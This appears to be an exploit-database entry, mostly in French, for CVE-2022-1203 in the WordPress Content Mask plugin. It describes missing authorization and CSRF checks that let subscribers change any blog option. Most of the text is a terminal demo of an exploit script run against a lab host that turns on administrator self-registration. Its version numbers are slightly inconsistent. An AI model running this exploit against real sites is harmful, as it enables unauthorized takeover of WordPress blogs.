
Content Mask < 1.8.4 - Subscriber+ Mise à jour arbitraire d'options
Content Mask < 1.8.4 - Abonné+ Mise à jour arbitraire des options
Le plugin WordPress Content Mask avant la version 1.8.4.1 ne dispose pas d'autorisation et de vérifications CSRF dans diverses actions AJAX, et ne valide pas non plus l'option à mettre à jour pour s'assurer qu'elle appartient au plugin. En conséquence, tout utilisateur authentifié, comme un abonné, pourrait modifier des options arbitraires du blog.
$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register